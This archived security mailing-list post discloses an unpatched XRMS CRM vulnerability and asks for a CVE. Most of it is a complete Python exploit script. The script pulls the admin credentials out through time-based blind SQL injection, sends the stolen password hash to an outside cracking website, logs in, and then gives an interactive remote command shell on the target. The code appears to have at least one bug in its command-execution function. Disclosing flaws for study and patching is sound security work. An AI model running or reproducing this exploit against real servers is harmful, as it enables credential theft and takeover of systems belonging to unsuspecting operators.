Openwall GNU/*/Linux - a small security-enhanced Linux distro for servers
[<prev] [next>] [thread-next>] [day] [month] [year] [list]
Date: Wed, 27 Aug 2014 23:14:31 +0100
From: "Benjamin Harris" <bch@...h.ai>
To: fulldisclosure@...lists.org, oss-security@...ts.openwall.com
Subject: XRMS SQLi to RCE 0day

Hi

OSS-Security: Can I request a CVE for this please?

XRMS Description:
----------------------

The most advanced open source customer relationship management 
(CRM), Sales Force Automation (SFA) suite: also features business 
intelligence (BI) tools, Computer Telephony Integration (CTI), and 
advanced plugin architecture. PHP/ADOdb/LAMP

Brief:
-------------------------------

I tried to report this to the developers/get it fixed a month ago, 
although I've had no response from the developers. This should work 
against latest, was found a long time ago, and I recently found it 
while brushing off some hard drives.

Details:
------------------------

We get SQL injection via $_SESSION poisoning which we use to 
retrieve admin credentials. We then authenticate with these 
credentials and exploit a trivial command injection. Attached is a 
working POC.

Many thanks,
Ben
#######################
# XRMS Blind SQLi via $_SESSION poisoning, then command exec
#########################

import urllib
import urllib2
import time
import sys

usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@....','_','-','1','2','3','4','5','6','7','8','9','0']
userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48]
def banner():
	print """	    ____                                      
	   / __/_  ______ _  _  ___________ ___  _____
	  / /_/ / / / __ `/ | |/_/ ___/ __ `__ \/ ___/
	 / __/ /_/ / /_/ / _>  </ /  / / / / / (__  ) 
	/_/  \__,_/\__, (_)_/|_/_/  /_/ /_/ /_/____/  
	             /_/                              
	[+] fuq th3 w0rld, fuq ur m0m!\n"""

def usage():
	print "	[+] Info: Remote Command Execution via $_SESSION poisoning to SQLi to RCE"
	print "	[+] Example:"
	print "	[+] python " + sys.argv[0] + " domain.to/xrms"
	quit()

def sendhashaway(hash):
	print " [+] Sending hash to icrackhash.com to be cracked."
	data = None
	headers = { 'Referer' : 'http://icrackhash.com/?mdhash=' + hash + '&type=MD5','User-Agent' : 'Mozilla','X-Requested-With' : 'XMLHttpRequest'}
	url = 'http://www.icrackhash.com/?mdhash=' + hash + '&type=MD5'
	gh = urllib2.Request(url,data,headers)
	gh2 = urllib2.urlopen(gh)
	output = gh2.read()
	plaintext = getpositions(output,'<td><small><strong>','</strong>')
	print " [-] Plaintext of hash: " +plaintext + "\n"
	return plaintext

def username(length):
	length = length + 1
	duser = []
	#1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -
	found = 0
	i = 1
	payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(username,"
	payload2 = ",1)=CHAR("
	payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -"
        for i in range(1,length):
		found = 0
		while(found != 1):
			for f in range(0,len(userascii)):
				class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
					def http_error_302(self, req, fp, code, msg, headers):
						infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
						infourl.status = code
						infourl.code = code
						return infourl
					http_error_300 = http_error_302    
				class HeadRequest(urllib2.Request):
					def get_method(self):
						return "POST"
				payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3
				data = urllib.urlencode([('user_id',payload)])
				url = 'http://'+domain+'/plugins/webform/new-form.php'
				opener = urllib2.build_opener(LeHTTPRedirectHandler)
				req = HeadRequest(url,data)
				prepare = opener.open(req)
				cookie1 = prepare.info()
				cookie2pos1 = str(cookie1).find('PHPSESSID')
				cookie2pos2 = str(cookie1).find("\n",cookie2pos1)
				line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
				line = 'XRMS' + line[9:]
				url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
				headers = { 'Cookie' : line }
				data = None
				start = time.time()
				get = urllib2.Request(url,data,headers)
				get.get_method = lambda: 'HEAD'
				try:
					execute = urllib2.urlopen(get)
				except:
					pass
				elapsed = (time.time() - start)
				if(elapsed > 1):
					print "	Character found. Character is: " + usercharac[f]
					duser.append(usercharac[f])
					found = 1
	return duser

def getusernamelength():
	found = 0
	i = 1
	payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(LENGTH(username) = '"
	payload2 = "',BENCHMARK(50000000,MD5(0x34343434)),NULL) FROM users-- -"
	while (found != 1): 
		class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
			def http_error_302(self, req, fp, code, msg, headers):
				infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
				infourl.status = code
				infourl.code = code
				return infourl
			http_error_300 = http_error_302    
		class HeadRequest(urllib2.Request):
			def get_method(self):
				return "POST"
		payload = payload1 + str(i) + payload2
		data = urllib.urlencode([('user_id',payload)])
		url = 'http://'+domain+'/plugins/webform/new-form.php'
		opener = urllib2.build_opener(LeHTTPRedirectHandler)
		req = HeadRequest(url,data)
		prepare = opener.open(req)
		cookie1 = prepare.info()
		cookie2pos1 = str(cookie1).find('PHPSESSID')
		cookie2pos2 = str(cookie1).find("\n",cookie2pos1)
		line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
		line = 'XRMS' + line[9:]
		url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
		headers = { 'Cookie' : line }
		data = None
		start = time.time()
		get = urllib2.Request(url,data,headers)
		get.get_method = lambda: 'HEAD'
		try:
			execute = urllib2.urlopen(get)
		except:
			pass
		elapsed = (time.time() - start)
		if(elapsed > 1):
			print "	Length found at position: " + str(i)
			found = 1
			length = i
			return length
		i = i + 1

def password(length):
	length = length + 1
	dpassword = []
	#1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- -
	found = 0
	i = 1
	payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(password,"
	payload2 = ",1)=CHAR("
	payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -"
        for i in range(1,length):
		found = 0
		while(found != 1):
			for f in range(0,len(userascii)):
				class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler):
					def http_error_302(self, req, fp, code, msg, headers):
						infourl = urllib2.addinfourl(fp, headers, req.get_full_url())
						infourl.status = code
						infourl.code = code
						return infourl
					http_error_300 = http_error_302    
				class HeadRequest(urllib2.Request):
					def get_method(self):
						return "POST"
				payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3
				data = urllib.urlencode([('user_id',payload)])
				url = 'http://'+domain+'/plugins/webform/new-form.php'
				opener = urllib2.build_opener(LeHTTPRedirectHandler)
				req = HeadRequest(url,data)
				prepare = opener.open(req)
				cookie1 = prepare.info()
				cookie2pos1 = str(cookie1).find('PHPSESSID')
				cookie2pos2 = str(cookie1).find("\n",cookie2pos1)
				line = str(cookie1)[cookie2pos1:cookie2pos2 - 9]
				line = 'XRMS' + line[9:]
				url = 'http://'+domain+'/plugins/useradmin/fingeruser.php'
				headers = { 'Cookie' : line }
				data = None
				start = time.time()
				get = urllib2.Request(url,data,headers)
				get.get_method = lambda: 'HEAD'
				try:
					execute = urllib2.urlopen(get)
				except:
					pass
				elapsed = (time.time() - start)
				if(elapsed > 1):
					print "	Character found. Character is: " + usercharac[f]
					dpassword.append(usercharac[f])
					found = 1
	return dpassword

def login(domain,user,password):
	cookie = "XRMS=iseeurgettinown4d"
	url = 'http://'+domain+'/login-2.php'
	headers = { 'Cookie' : cookie }
	data = urllib.urlencode([('username',user),('password',password)])
	a1 = urllib2.Request(url,data,headers)
	a2 = urllib2.urlopen(a1)
	output = a2.read()
	if output.find('PEAR.php') > 0:
		print "	[+] Logged In"

def commandexec(domain,command):
	cookie = "XRMS=iseeurgettinown4d"
	cmd = urllib.urlencode([("; echo '0x41';" + command + ";echo '14x0';",None)])
	headers = { 'Cookie' : cookie }
	data = None
	url = 'http://'+domain+'/plugins/useradmin/fingeruser.php?username=' + cmd
	b1 = urllib2.Request(url,data,headers)
	b2 = urllib2.urlopen(a1)
	output = b2.read()
	first = output.find('0x41') + 4
	last = output.find('14x0') - 4
	return output[first:last]

banner()
if len(sys.argv) < 2:
	usage()
domain = sys.argv[1]
print "	[+] Grabbing username length"
length = getusernamelength()
print "	[+] Grabbing username characters"
tmpuser = username(length)
adminusr = "".join(tmpuser)
print "	[+] Grabbing password hash"
tmppass =  password(32)
admpass = "".join(tmppass)
print " [+] Admin username: "+ adminusr
print "	[+] Admin password hash: " + admpass
plain = sendhashaway(admpass)
login(domain,adminusr,plain)
while(quit != 1):
	cmd = raw_input('	[+] Run a command: ')
	if cmd == 'quit':
		print "	[-] Hope you had fun :)"
		quit = 1
	if cmd != 'quit':
		print "	[+] "+ commandexec(domain,cmd)

Powered by blists - more mailing lists

Your e-mail address:

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Powered by Openwall GNU/*/Linux - Powered by OpenVZ